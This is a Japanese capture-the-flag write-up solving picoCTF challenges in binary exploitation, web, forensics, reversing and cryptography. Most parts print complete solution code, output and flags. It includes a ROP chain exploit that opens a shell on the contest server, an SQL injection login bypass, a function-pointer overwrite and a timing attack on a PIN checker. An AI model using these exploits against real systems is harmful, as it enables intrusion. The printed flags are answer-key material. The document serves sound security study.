$ ROPgadget --binary ./vuln --ropchain --badbytes 0a : : ROP chain generation =========================================================== - Step 1 -- Write-what-where gadgets [+] Gadget found: 0x8059102 mov dword ptr [edx], eax ; ret [+] Gadget found: 0x80583c9 pop edx ; pop ebx ; ret [+] Gadget found: 0x80b074a pop eax ; ret [+] Gadget found: 0x804fb90 xor eax, eax ; ret - Step 2 -- Init syscall number gadgets [+] Gadget found: 0x804fb90 xor eax, eax ; ret [+] Gadget found: 0x808055e inc eax ; ret - Step 3 -- Init syscall arguments gadgets [+] Gadget found: 0x8049022 pop ebx ; ret [+] Gadget found: 0x8049e39 pop ecx ; ret [+] Gadget found: 0x80583c9 pop edx ; pop ebx ; ret - Step 4 -- Syscall gadget [+] Gadget found: 0x804a3d2 int 0x80 - Step 5 -- Build the ROP chain #!/usr/bin/env python2 # execve generated by ROPgadget from struct import pack # Padding goes here p = '' p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret p += pack('<I', 0x080e5060) # @ .data p += pack('<I', 0x41414141) # padding p += pack('<I', 0x080b074a) # pop eax ; ret p += '/bin' p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret p += pack('<I', 0x080e5064) # @ .data + 4 p += pack('<I', 0x41414141) # padding p += pack('<I', 0x080b074a) # pop eax ; ret p += '//sh' p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret p += pack('<I', 0x080e5068) # @ .data + 8 p += pack('<I', 0x41414141) # padding p += pack('<I', 0x0804fb90) # xor eax, eax ; ret p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x08049022) # pop ebx ; ret p += pack('<I', 0x080e5060) # @ .data p += pack('<I', 0x08049e39) # pop ecx ; ret p += pack('<I', 0x080e5068) # @ .data + 8 p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret p += pack('<I', 0x080e5068) # @ .data + 8 p += pack('<I', 0x080e5060) # padding without overwrite ebx p += pack('<I', 0x0804fb90) # xor eax, eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0804a3d2) # int 0x80
from pwn import * if len(sys.argv) == 1: p = remote('saturn.picoctf.net', 56529) else: p = process('./vuln') payload = b'A' * 28 payload += p32(0x080583c9) # pop edx ; pop ebx ; ret payload += p32(0x080e5060) # @ .data payload += p32(0x41414141) # padding payload += p32(0x080b074a) # pop eax ; ret payload += b'/bin' payload += p32(0x08059102) # mov dword ptr [edx], eax ; ret payload += p32(0x080583c9) # pop edx ; pop ebx ; ret payload += p32(0x080e5064) # @ .data + 4 payload += p32(0x41414141) # padding payload += p32(0x080b074a) # pop eax ; ret payload += b'//sh' payload += p32(0x08059102) # mov dword ptr [edx], eax ; ret payload += p32(0x080583c9) # pop edx ; pop ebx ; ret payload += p32(0x080e5068) # @ .data + 8 payload += p32(0x41414141) # padding payload += p32(0x0804fb90) # xor eax, eax ; ret payload += p32(0x08059102) # mov dword ptr [edx], eax ; ret payload += p32(0x08049022) # pop ebx ; ret payload += p32(0x080e5060) # @ .data payload += p32(0x08049e39) # pop ecx ; ret payload += p32(0x080e5068) # @ .data + 8 payload += p32(0x080583c9) # pop edx ; pop ebx ; ret payload += p32(0x080e5068) # @ .data + 8 payload += p32(0x080e5060) # padding without overwrite ebx payload += p32(0x0804fb90) # xor eax, eax ; ret payload += p32(0x0808055e) # inc eax ; ret payload += p32(0x0808055e) # inc eax ; ret payload += p32(0x0808055e) # inc eax ; ret payload += p32(0x0808055e) # inc eax ; ret payload += p32(0x0808055e) # inc eax ; ret payload += p32(0x0808055e) # inc eax ; ret payload += p32(0x0808055e) # inc eax ; ret payload += p32(0x0808055e) # inc eax ; ret payload += p32(0x0808055e) # inc eax ; ret payload += p32(0x0808055e) # inc eax ; ret payload += p32(0x0808055e) # inc eax ; ret payload += p32(0x0804a3d2) # int 0x80 data = p.recvline().rstrip().decode() print(data) print(payload) p.sendline(payload) p.interactive()
実行結果は以下の通り。
[+] Opening connection to saturn.picoctf.net on port 56529: Done How strong is your ROP-fu? Snatch the shell from my hand, grasshopper! b'AAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc9\x83\x05\x08`P\x0e\x08AAAAJ\x07\x0b\x08/bin\x02\x91\x05\x08\xc9\x83\x05\x08dP\x0e\x08AAAAJ\x07\x0b\x08//sh\x02\x91\x05\x08\xc9\x83\x05\x08hP\x0e\x08AAAA\x90\xfb\x04\x08\x02\x91\x05\x08"\x90\x04\x08`P\x0e\x089\x9e\x04\x08hP\x0e\x08\xc9\x83\x05\x08hP\x0e\x08`P\x0e\x08\x90\xfb\x04\x08^\x05\x08\x08^\x05\x08\x08^\x05\x08\x08^\x05\x08\x08^\x05\x08\x08^\x05\x08\x08^\x05\x08\x08^\x05\x08\x08^\x05\x08\x08^\x05\x08\x08^\x05\x08\x08\xd2\xa3\x04\x08' [*] Switching to interactive mode $ ls flag.txt vuln $ cat flag.txt picoCTF{5n47ch_7h3_5h311_0f1f9878}
picoCTF{5n47ch_7h3_5h311_0f1f9878}
SQLiLite (Web Exploitation 300)
SQLインジェクションの問題。
username: a password: b SQL query: SELECT * FROM users WHERE name='a' AND password='b' Login failed.
username: a' or 1=1 # password: b SQL query: SELECT * FROM users WHERE name='a' or 1=1 #' AND password='b'
username: a' or 1=1 -- password: b SQL query: SELECT * FROM users WHERE name='a' or 1=1 --' AND password='b' Logged in! But can you see the flag, it is in plainsight.
ログインでき、HTMLソースを見ると、フラグが書いてあった。
picoCTF{L00k5_l1k3_y0u_solv3d_it_147ec287}
St3g0 (Forensics 300)
StegSolveで開き、[Analyse]>[Data Extract]でRGBのLSBのみチェックを入れると、フラグが現れる。
picoCTF{7h3r3_15_n0_5p00n_f2f7a0e5}
unpackme (Reverse Engineering 300)
$ upx -d unpackme-upx Ultimate Packer for eXecutables Copyright (C) 1996 - 2018 UPX 3.95 Markus Oberhumer, Laszlo Molnar & John Reiser Aug 26th 2018 File size Ratio Format Name -------------------- ------ ----------- ----------- 1002408 <- 379108 37.82% linux/amd64 unpackme-upx Unpacked 1 file.
UPXアンパックしたバイナリをGhidraでデコンパイルする。
undefined8 main(void) { long in_FS_OFFSET; int iStack68; undefined8 uStack64; undefined8 uStack56; undefined8 uStack48; undefined8 uStack40; undefined4 uStack32; undefined2 uStack28; long lStack16; lStack16 = *(long *)(in_FS_OFFSET + 0x28); uStack56 = 0x4c75257240343a41; uStack48 = 0x30623e306b6d4146; uStack40 = 0x3634376130486637; uStack32 = 0x67366563; uStack28 = 0x4e; printf(&UNK_004b3004); __isoc99_scanf(&UNK_004b3020,&iStack68); if (iStack68 == 0xb83cb) { uStack64 = rotate_encrypt(0,&uStack56); fputs(uStack64,stdout); putchar(10); free(uStack64); } else { puts(&UNK_004b3023); } if (lStack16 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; }
>>> 0xb83cb 754635
実行して、754635と入力すればよさそう。
$ ./unpackme-upx What's my favorite number? 754635 picoCTF{up><_m3_f7w_2fce46e8}
picoCTF{up><_m3_f7w_2fce46e8}
Very Smooth (Cryptography 300)
nを素因数分解する。
>>> 0x809fbd8b667d664f01fe1b0387e0b424efe2035e2dec4d249ace30563d0e1a50050020880c2f01bad63b22e21125d780d887cffdb1165268e6be788cd49ad8a9a1d27482f1a8ccbb37adc0deee65d09f312ebaab854782e2411d917181fef63d478b7e25391ac10d0330cafcb5c8d859ee1e403be029ce5dd75f864deabe5a65645b099afb7af4ed84dd75d1e4b966e2a0662ece5409feeacb2a277ddf05b72153ff6f36524f7693cc432269b56bd8ab3d601844aef6a6130eaaec08f92f9816ed0e7781a23a043570364807bef579c1e9175e3fe2b1d8f52356230feea244ce1b88b2342c9e40b25583a1fe558bdfb3a7115a4c71a6f06b706419ce8e21a3e1 16237273966836108120545793138084928629897229433359269853811036517408130990412315905032719835933027062806349026656969546706952216885700336241987462198846497866128469385845087257177806462075448795745255645036851304171294558034005843928223969132994878078039177397552489432477344386147809047379385391476398181005238431374419231170133622553608140144429529176425884181430778587305916041812649403278600142298567709101416482483848715249963954872862606729158862177500165861249872096563311618578664620929914771757453426377719542453172601160223030029072465102848163437163175061493978855848151566051932864722199692067969595188193
$ python -m primefac 16237273966836108120545793138084928629897229433359269853811036517408130990412315905032719835933027062806349026656969546706952216885700336241987462198846497866128469385845087257177806462075448795745255645036851304171294558034005843928223969132994878078039177397552489432477344386147809047379385391476398181005238431374419231170133622553608140144429529176425884181430778587305916041812649403278600142298567709101416482483848715249963954872862606729158862177500165861249872096563311618578664620929914771757453426377719542453172601160223030029072465102848163437163175061493978855848151566051932864722199692067969595188193 16237273966836108120545793138084928629897229433359269853811036517408130990412315905032719835933027062806349026656969546706952216885700336241987462198846497866128469385845087257177806462075448795745255645036851304171294558034005843928223969132994878078039177397552489432477344386147809047379385391476398181005238431374419231170133622553608140144429529176425884181430778587305916041812649403278600142298567709101416482483848715249963954872862606729158862177500165861249872096563311618578664620929914771757453426377719542453172601160223030029072465102848163437163175061493978855848151566051932864722199692067969595188193: 90948561168129273993221811210960666354464742371830355918414414795363383976255151106886894591386782182287999383540600363376830936851508670766644159365209354955699549804449139999147729583415495583682823772357163202067648618287663470084801559563298980120877685812575934222306026078618063649035501461830981153927 178532499671100552835009070640337389046750682679089738340573700044796870154662974181078976135962844198449431226967553502622429495519191503452420112028010459424071411943079846180687031649021712686481182344681043382768844946463295119108040833072875499716211043518429320530329757455813143342021442699449162409559
あとはそのまま復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * n = 0x809fbd8b667d664f01fe1b0387e0b424efe2035e2dec4d249ace30563d0e1a50050020880c2f01bad63b22e21125d780d887cffdb1165268e6be788cd49ad8a9a1d27482f1a8ccbb37adc0deee65d09f312ebaab854782e2411d917181fef63d478b7e25391ac10d0330cafcb5c8d859ee1e403be029ce5dd75f864deabe5a65645b099afb7af4ed84dd75d1e4b966e2a0662ece5409feeacb2a277ddf05b72153ff6f36524f7693cc432269b56bd8ab3d601844aef6a6130eaaec08f92f9816ed0e7781a23a043570364807bef579c1e9175e3fe2b1d8f52356230feea244ce1b88b2342c9e40b25583a1fe558bdfb3a7115a4c71a6f06b706419ce8e21a3e1 c = 0x74ce97c4712bc3827a9f6021089c093a7540a6280330a9ec7c6f446a88093c33a6b9a0a1fdf2cad96e32344970adbf26601d9baf2c4e9892dde435dc994bde4754fddbac47a475b3907a455c6f671484b473b5481080224406b1d48d48da5ba0d9fccdc5732cb64c0f02c32ddc1413f66bd95b8e5a929e5b1f14843bd8f5d4747a4aabcc64217a187db6913facce48f2019b5524633153ee40a4376960b7f669f331da29227fa9a8c09a58a6f3db7453dd89a6093c062ff95502cc7cca5ee497c8ec6265413f5d05d1b720b4eb620875b6f6d2a7958e2391835497a106f4c280cd1ca8b9605bbef5952b54dffc028c160c1495e5cd2957f6f2bbb2e868823b6a e = 0x10001 p = 90948561168129273993221811210960666354464742371830355918414414795363383976255151106886894591386782182287999383540600363376830936851508670766644159365209354955699549804449139999147729583415495583682823772357163202067648618287663470084801559563298980120877685812575934222306026078618063649035501461830981153927 q = 178532499671100552835009070640337389046750682679089738340573700044796870154662974181078976135962844198449431226967553502622429495519191503452420112028010459424071411943079846180687031649021712686481182344681043382768844946463295119108040833072875499716211043518429320530329757455813143342021442699449162409559 phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(c, d, n) flag = long_to_bytes(m).decode() print(flag)
picoCTF{91e08d13}
function overwrite (Binary Exploitation 400)
checkとfunのアドレスを確認する。
$ gdb -q ./vuln Reading symbols from ./vuln...(no debugging symbols found)...done. gdb-peda$ p &check $1 = (<data variable, no debug info> *) 0x804c040 <check> gdb-peda$ p &fun $2 = (<data variable, no debug info> *) 0x804c080 <fun>
fun[-16]を指定し、easy_checker関数アドレスとhard_checker関数アドレスの差分を引けば、チェック関数をeasy_checkerに入れ替えチェックすることができる。
from pwn import * if len(sys.argv) == 1: p = remote('saturn.picoctf.net', 64374) else: p = process('./vuln') elf = ELF('./vuln') easy_checker_addr = elf.symbols['easy_checker'] hard_checker_addr = elf.symbols['hard_checker'] print(hex(easy_checker_addr)) print(hex(hard_checker_addr)) payload = b'' sum = 1337 while True: if sum > ord('a'): payload += b'a' sum -= ord('a') else: payload += bytes([sum]) break data = p.recvuntil(b'>> ').decode() print(data + payload.decode()) p.sendline(payload) data = p.recvline().rstrip().decode() print(data) index = -16 payload = b'%d %d' % (index, easy_checker_addr - hard_checker_addr) print(payload.decode()) p.sendline(payload) data = p.recvline().rstrip().decode() print(data) data = p.recvline().rstrip().decode() print(data)
実行結果は以下の通り。
[+] Opening connection to saturn.picoctf.net on port 64374: Done [*] '/mnt/hgfs/Shared/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) 0x80492fc 0x8049436 Tell me a story and then I'll tell you if you're a 1337 >> aaaaaaaaaaaaaL On a totally unrelated note, give me two numbers. Keep the first one less than 10. -16 -314 You're 1337. Here's the flag. picoCTF{0v3rwrit1ng_P01nt3rs_789b0a98} [*] Closed connection to saturn.picoctf.net port 64374
picoCTF{0v3rwrit1ng_P01nt3rs_789b0a98}
Keygenme (Reverse Engineering 400)
Ghidraでデコンパイルする。
undefined8 FUN_0010148b(void) { char cVar1; long in_FS_OFFSET; char local_38 [40]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); printf("Enter your license key: "); fgets(local_38,0x25,stdin); cVar1 = FUN_00101209(local_38); if (cVar1 == '\0') { puts("That key is invalid."); } else { puts("That key is valid."); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; } undefined8 FUN_00101209(char *param_1) { size_t sVar1; undefined8 uVar2; long in_FS_OFFSET; int local_d0; int local_cc; int local_c8; int local_c4; int local_c0; undefined2 local_ba; byte local_b8 [16]; byte local_a8 [16]; undefined8 local_98; undefined8 local_90; undefined8 local_88; undefined4 local_80; char local_78 [10]; undefined local_6e; undefined local_6c; undefined local_6b; undefined local_62; undefined local_60; undefined local_5f; char local_58 [21]; undefined local_43; char acStack56 [40]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_98 = 0x7b4654436f636970; local_90 = 0x30795f676e317262; local_88 = 0x6b5f6e77305f7275; local_80 = 0x5f7933; local_ba = 0x7d; sVar1 = strlen((char *)&local_98); MD5((uchar *)&local_98,sVar1,local_b8); sVar1 = strlen((char *)&local_ba); MD5((uchar *)&local_ba,sVar1,local_a8); local_d0 = 0; for (local_cc = 0; local_cc < 0x10; local_cc = local_cc + 1) { sprintf(local_78 + local_d0,"%02x",(ulong)local_b8[local_cc]); local_d0 = local_d0 + 2; } local_d0 = 0; for (local_c8 = 0; local_c8 < 0x10; local_c8 = local_c8 + 1) { sprintf(local_58 + local_d0,"%02x",(ulong)local_a8[local_c8]); local_d0 = local_d0 + 2; } for (local_c4 = 0; local_c4 < 0x1b; local_c4 = local_c4 + 1) { acStack56[local_c4] = *(char *)((long)&local_98 + (long)local_c4); } acStack56[27] = local_78[1]; acStack56[28] = local_62; acStack56[29] = local_5f; acStack56[30] = local_6c; acStack56[31] = local_60; acStack56[32] = local_43; acStack56[33] = local_6b; acStack56[34] = local_6e; acStack56[35] = (undefined)local_ba; sVar1 = strlen(param_1); if (sVar1 == 0x24) { for (local_c0 = 0; local_c0 < 0x24; local_c0 = local_c0 + 1) { if (param_1[local_c0] != acStack56[local_c0]) { uVar2 = 0; goto LAB_00101475; } } uVar2 = 1; } else { uVar2 = 0; } LAB_00101475: if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return uVar2; }
>>> 0x7b4654436f636970.to_bytes(8, 'little') b'picoCTF{' >>> 0x30795f676e317262.to_bytes(8, 'little') b'br1ng_y0' >>> 0x6b5f6e77305f7275.to_bytes(8, 'little') b'ur_0wn_k' >>> 0x5f7933.to_bytes(3, 'little') b'3y_' >>> 0x7d.to_bytes(1, 'little') b'}'
フラグの先頭27バイトはpicoCTF{br1ng_y0ur_0wn_k3y_。
md5を取って、local_78~local_30までの値を確認する。
>>> import hashlib >>> hashlib.md5(b'picoCTF{br1ng_y0ur_0wn_k3y_').hexdigest() '438218d572e90162d0981cbbc7d43882' >>> hashlib.md5(b'}').hexdigest() 'cbb184dd8e05c9709e5dcaedaa0495cf' 77777777766666666666666665555555 876543210fedcba9876543210fedcba9 438218d572e90162d0981cbbc7d43882 55555555544444444444444443333333 876543210fedcba9876543210fedcba0 cbb184dd8e05c9709e5dcaedaa0495cf
以上からフラグの後半インデックス27~35の文字列は3b70ca1e}
picoCTF{br1ng_y0ur_0wn_k3y_3b70ca1e}
Operation Orchid (Forensics 400)
Autopsyで開き、flag.txt.encをエクスポートする。/root/.bash_historyを見ると、暗号化されてこのファイルが生成されたコマンドがわかる。
touch flag.txt nano flag.txt apk get nano apk --help apk add nano nano flag.txt openssl openssl aes256 -salt -in flag.txt -out flag.txt.enc -k unbreakablepassword1234567 shred -u flag.txt ls -al halt
$ openssl aes256 -d -salt -in flag.txt.enc -out flag.txt -k unbreakablepassword1234567 *** WARNING : deprecated key derivation used. Using -iter or -pbkdf2 would be better. bad decrypt 140084326745408:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:../crypto/evp/evp_enc.c:615: $ cat flag.txt picoCTF{h4un71ng_p457_186cf0da}
picoCTF{h4un71ng_p457_186cf0da}
Sequences (Cryptography 400)
f(n) = 55692 * f(n-4) - 9549 * f(n-3) + 301 * f(n-2) + 21 * f(n-1)
行列に変形する。
f(n) 21 301 -9549 55692 f(n-1) f(n-1) 1 0 0 0 f(n-2) f(n-2) = 0 1 0 0 * f(n-3) f(n-3) 0 0 1 0 f(n-4)
21 301 -9549 55692 1 0 0 0 0 1 0 0 = Mとすると以下のようになる。 0 0 1 0
f(n) f(3) f(n-1) f(2) f(n-2) = M**(n-3) * f(1) f(n-3) f(0)
M = P * J * inverse(P)となるJ(=ジョルダン標準形), Pを求める。
M**(n-3) = P * J**(n-3) * inverse(P)
このことを使えば、m_funcの計算を高速化できる。
#!/usr/bin/env sage import hashlib def m_func(J, P, i): if i == 0: return 1 if i == 1: return 2 if i == 2: return 3 if i == 3: return 4 C = P * (J^(i-3)) * ~P base = matrix([[4], [3], [2], [1]]) return (C * base)[0][0] ITERS = int(2e7) VERIF_KEY = "96cc5f3b460732b442814fd33cf8537c" ENCRYPTED_FLAG = bytes.fromhex("42cbbce1487b443de1acf4834baed794f4bbd0dfe08b5f3b248ef7c32b") M = matrix([[21, 301, -9549, 55692], [1, 0, 0, 0], [0, 1, 0, 0], [0, 0, 1, 0]]) J, P = M.jordan_form(transformation=True) sol = m_func(J, P, ITERS) sol = sol % (10**10000) sol = str(sol) sol_md5 = hashlib.md5(sol.encode()).hexdigest() assert sol_md5 == VERIF_KEY key = hashlib.sha256(sol.encode()).digest() flag = bytearray([char ^^ key[i] for i, char in enumerate(ENCRYPTED_FLAG)]).decode() print(flag)
picoCTF{b1g_numb3rs_4ebc92cc}
SideChannel (Forensics 400)
$ time echo 01234567 | ./pin_checker Please enter your 8-digit PIN code: 8 Checking PIN... Access denied. real 0m0.144s user 0m0.118s sys 0m0.004s $ time echo 11234567 | ./pin_checker Please enter your 8-digit PIN code: 8 Checking PIN... Access denied. real 0m0.145s user 0m0.124s sys 0m0.004s $ time echo 21234567 | ./pin_checker Please enter your 8-digit PIN code: 8 Checking PIN... Access denied. real 0m0.138s user 0m0.121s sys 0m0.004s $ time echo 31234567 | ./pin_checker Please enter your 8-digit PIN code: 8 Checking PIN... Access denied. real 0m0.147s user 0m0.116s sys 0m0.012s $ time echo 41234567 | ./pin_checker Please enter your 8-digit PIN code: 8 Checking PIN... Access denied. real 0m0.253s user 0m0.241s sys 0m0.000s $ time echo 51234567 | ./pin_checker Please enter your 8-digit PIN code: 8 Checking PIN... Access denied. real 0m0.143s user 0m0.116s sys 0m0.008s $ time echo 61234567 | ./pin_checker Please enter your 8-digit PIN code: 8 Checking PIN... Access denied. real 0m0.135s user 0m0.119s sys 0m0.004s $ time echo 71234567 | ./pin_checker Please enter your 8-digit PIN code: 8 Checking PIN... Access denied. real 0m0.134s user 0m0.119s sys 0m0.004s $ time echo 81234567 | ./pin_checker Please enter your 8-digit PIN code: 8 Checking PIN... Access denied. real 0m0.147s user 0m0.127s sys 0m0.000s $ time echo 91234567 | ./pin_checker Please enter your 8-digit PIN code: 8 Checking PIN... Access denied. real 0m0.147s user 0m0.117s sys 0m0.012s
先頭が4のときに時間がかかっている。2桁目以降も同じように時間がかかる数値を調べていく。
$ time echo 48234567 | ./pin_checker Please enter your 8-digit PIN code: 8 Checking PIN... Access denied. real 0m0.374s user 0m0.353s sys 0m0.008s $ time echo 48334567 | ./pin_checker Please enter your 8-digit PIN code: 8 Checking PIN... Access denied. real 0m0.511s user 0m0.480s sys 0m0.004s $ time echo 48394567 | ./pin_checker Please enter your 8-digit PIN code: 8 Checking PIN... Access denied. real 0m0.614s user 0m0.549s sys 0m0.024s $ time echo 48390567 | ./pin_checker Please enter your 8-digit PIN code: 8 Checking PIN... Access denied. real 0m0.846s user 0m0.826s sys 0m0.004s $ time echo 48390567 | ./pin_checker Please enter your 8-digit PIN code: 8 Checking PIN... Access denied. real 0m0.844s user 0m0.810s sys 0m0.020s $ time echo 48390517 | ./pin_checker Please enter your 8-digit PIN code: 8 Checking PIN... Access denied. real 0m0.971s user 0m0.932s sys 0m0.020s $ time echo 48390513 | ./pin_checker Please enter your 8-digit PIN code: 8 Checking PIN... Access granted. You may use your PIN to log into the master server. real 0m1.071s user 0m1.038s sys 0m0.012s
PINは48390513であることがわかった。
$ nc saturn.picoctf.net 52026 Verifying that you are a human... Please enter the master PIN code: 48390513 Password correct. Here's your flag: picoCTF{t1m1ng_4tt4ck_6e11b28e}
picoCTF{t1m1ng_4tt4ck_6e11b28e}
Sum-O-Primes (Cryptography 400)
x = p + q n = p * q ↓ phi = (p - 1) * (q - 1) = n - (p + q) + 1 = n - x + 1
phiが算出できるので、あとはそのまま復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * x = 0x1603fc8d929cb31edf62bcce2d06794f3efd095accb163e6f2b78941bd8c646d746369636a582aaac77c16a9486881a9e3db26d742e48c4adcc417ef98f310a0c5433ab077dd872530c3c3c77fe0c080d84154bfdb4c920df9617e986999104d9284516c7babc80dc53718d59032aefdf41b9be53957dea3f00a386b2666d446e n = 0x75302ba292dc4bf47ffd690b8edc70ef1fcca5e148b2b9c1b60227788afcfe77a0097929ed3789fe51ac66f678c558244890a09ae4af3e7d098fd366a1c859edabbff1c9e164d5354968798107ae8518fcaab3743de58a141ffd26c1e16cb09fed1f6b0d68536ec7fba744ed120fea8c3a7ac1ebfa55d664d2f321fb44e814650147a9031f3bfa8f69d87393c7d88976d28d147398a355020bcb8e5613f0b29028b77db710e163ca1019fd3c3a065465ea457adec45243c385d12d3a1de3178f6ca05964be92e8b5bc24d420956de96ccc9ce39e70705660eb6b2f4e675aac7d6d7ba45c84223fc5819b37aa85beff1382f1c2c3b97603150f30c17f7e674441 c = 0x562888c70ce9a5c5ed9a0be1b6196f854ba2efcdb6dd0f79319ee9e1142659f90a6bae67481eb0f635f445d3c9889da84639beb84ff7159dcf4d3a389873dc90163270d80dbb9503cbc32992cb592069ba5b3eb2bbe410a3121d658f18e100f7bd878a25c27ab8c6c15b690fce1ca43288163c544bfce344bcd089a5f4733acc7dc4b6160718e3c627e81a58f650281413bb5bf7bad5c15b00c5a2ef7dbe7a44cce85ed5b1becd5273a26453cb84d327aa04ad8783f46d22d61b96c501515913ca88937475603437067ce9dc10d68efc3da282cd64acaf8f1368c1c09800cb51f70f784bd0f94e067af541ae8d20ab7bfc5569e1213ccdf69d8a81c4746e90c1 e = 65537 phi = n - x + 1 d = inverse(e, phi) m = pow(c, d, n) flag = long_to_bytes(m).decode() print(flag)
picoCTF{674b189f}
NSA Backdoor (Cryptography 500)
nを素因数分解する。
>>> 0x71c27455f38b75f08868b5965d7afba3d81bff38f3b63271ad9250b9d7dc8c909d3555593c2eff9c27a3c259f8e95da41d55544a362494476141c8ccb93fc7d9019d965a20e16d55daf57b5663ede8d5ad97b7be239ecacb2636621ef997854f18f6da1394101dfb8229a2253dbc3ffc995cc6197bd85455f6178c14dbb9a611b3b42530fcdc5c36c5f63fd3796efdfc440a76cf966ff8c56e7e55872a57aa3a335c2b10a82421bcd1cd0d238496f2830d6524f6ba8e9890e30c4e6ad11df8948f4b428d8089a5d9455baca34cee61cb238042bcf8293aab13595aeb90fedabf23b1d0e82c6882824aa0f78c2208de641d9592a170ed839728f6c7e6b6bdf831 14360817517643493360722432841113382768358287619500085132789974374919633479159690128988568490515293735231011407434574284531621599370900548707353329835497081463193416512792695366204467014389152466532153221900798506636405795232501346118679044619985996010457945781750990152549131611154451937257691936403941437663994475668979370589387164654602186526340010581310963301182624445228683676370919308395084526636733402324436130892805638469608969532614009419230499016506681366629307161301610513749134778555208030614446637109432784739260778403505371903345504559863007430211004764851889442322538052120646413298174167965732523866161
$ python -m primefac 14360817517643493360722432841113382768358287619500085132789974374919633479159690128988568490515293735231011407434574284531621599370900548707353329835497081463193416512792695366204467014389152466532153221900798506636405795232501346118679044619985996010457945781750990152549131611154451937257691936403941437663994475668979370589387164654602186526340010581310963301182624445228683676370919308395084526636733402324436130892805638469608969532614009419230499016506681366629307161301610513749134778555208030614446637109432784739260778403505371903345504559863007430211004764851889442322538052120646413298174167965732523866161 14360817517643493360722432841113382768358287619500085132789974374919633479159690128988568490515293735231011407434574284531621599370900548707353329835497081463193416512792695366204467014389152466532153221900798506636405795232501346118679044619985996010457945781750990152549131611154451937257691936403941437663994475668979370589387164654602186526340010581310963301182624445228683676370919308395084526636733402324436130892805638469608969532614009419230499016506681366629307161301610513749134778555208030614446637109432784739260778403505371903345504559863007430211004764851889442322538052120646413298174167965732523866161: 133120514134071565184901374403906104857402594315193452979400334844456988039351029748429497538981454221984106135005043996378098395846705709422658663585864970394230279241392567216599860405945469882804839379543093459226432299183847151658790842646530907008354991523758458009950957111989465047584759069188272154703 107878320716069936845347261730222923402619282584236808136469656719645067255143372538361375857163594280233925663413568686520703251291382637679919197208920902793419007945364505474185442005931731898039583502138819092649272834779913753377381462765827012568092442233669634217190652686190269458879367972776287369087
それぞれの素数でDLP問題を解き、CRTでFLAGを求める。
#!/usr/bin/env python3 from Crypto.Util.number import * n = 0x71c27455f38b75f08868b5965d7afba3d81bff38f3b63271ad9250b9d7dc8c909d3555593c2eff9c27a3c259f8e95da41d55544a362494476141c8ccb93fc7d9019d965a20e16d55daf57b5663ede8d5ad97b7be239ecacb2636621ef997854f18f6da1394101dfb8229a2253dbc3ffc995cc6197bd85455f6178c14dbb9a611b3b42530fcdc5c36c5f63fd3796efdfc440a76cf966ff8c56e7e55872a57aa3a335c2b10a82421bcd1cd0d238496f2830d6524f6ba8e9890e30c4e6ad11df8948f4b428d8089a5d9455baca34cee61cb238042bcf8293aab13595aeb90fedabf23b1d0e82c6882824aa0f78c2208de641d9592a170ed839728f6c7e6b6bdf831 c = 0x2560971fdf742d398ae3e677082ab950e99edde5577abcc4d704d65577ec287169d209f2033c82e7574f7e6c27540bb07416cd12b5fca1bb5c7ae23e80bb00b81a5c49116fa3cca6ab72f4a56b2bf0d51c58eedb918faa1e88d6fddb7dd358c1cdaa6e61964284014919662f75adaad5065a3633067b2297cd4657d39c8e2cdb02fd80ba33447abb8bfcd4dd68166f487094108afe5b4378f5f6eb9209f503b718dec9c841089551db648f5b5a84357b2319eb1b27935c3bc47c645f732d36cfffcb0e7f1c8ec5859413e6d62f7ed9af27f4712ca91bbdb9526ea19414c82090a52a78e6bbc2a756b5756017ee08326cd7b1d5dd9fff6afb12bcb93fb541a542 p = 133120514134071565184901374403906104857402594315193452979400334844456988039351029748429497538981454221984106135005043996378098395846705709422658663585864970394230279241392567216599860405945469882804839379543093459226432299183847151658790842646530907008354991523758458009950957111989465047584759069188272154703 q = 107878320716069936845347261730222923402619282584236808136469656719645067255143372538361375857163594280233925663413568686520703251291382637679919197208920902793419007945364505474185442005931731898039583502138819092649272834779913753377381462765827012568092442233669634217190652686190269458879367972776287369087 g = 3 ps = [p, q] xs = [] for i in range(2): p = ps[i] cp = c % p R = IntegerModRing(p) x = discrete_log(R(cp), R(g)) xs.append(x) phis = [p - 1 for p in ps] FLAG = crt(xs, phis) FLAG = long_to_bytes(FLAG).decode() print(FLAG)
picoCTF{fd0d45f6}